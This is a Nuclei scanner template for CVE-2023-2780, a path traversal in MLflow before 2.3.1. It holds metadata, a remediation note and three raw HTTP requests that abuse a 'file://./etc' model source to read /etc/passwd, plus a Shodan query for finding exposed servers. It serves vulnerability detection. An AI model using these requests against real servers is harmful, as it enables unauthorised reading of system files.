nuclei-templates/http/cves/2023/CVE-2023-2780.yaml

69 lines
2.0 KiB
YAML

id: CVE-2023-2780
info:
name: Mlflow <2.3.1 - Local File Inclusion Bypass
author: iamnoooob,pdresearch
severity: critical
description: |
Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1.
remediation: |
Upgrade Mlflow to version 2.3.1 or later to mitigate the vulnerability.
reference:
- https://huntr.dev/bounties/b12b0073-0bb0-4bd1-8fc2-ec7f17fd7689/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2780
- https://github.com/mlflow/mlflow/commit/fae77a525dd908c56d6204a4cef1c1c75b4e9857
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2780
cwe-id: CWE-29
epss-score: 0.01608
epss-percentile: 0.85972
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: lfprojects
product: mlflow
shodan-query: http.title:"mlflow"
tags: mlflow,oss,lfi,huntr,cve,cve2023,intrusive
http:
- raw:
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}","source":"file://./etc"}
- |
GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version={{version}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- '"version": "([0-9.]+)",'
internal: true
part: body
# digest: 4a0a00473045022100caca9f7be2a3b18259bb95c74e91f1721c2f9a56693f26a79318ab712e5c1124022064285989e7ce0563bf9ed5f92349a539c78c050cd16e081d31fe3509ffebfd43:922c64590222798bb761d5b6d8e72950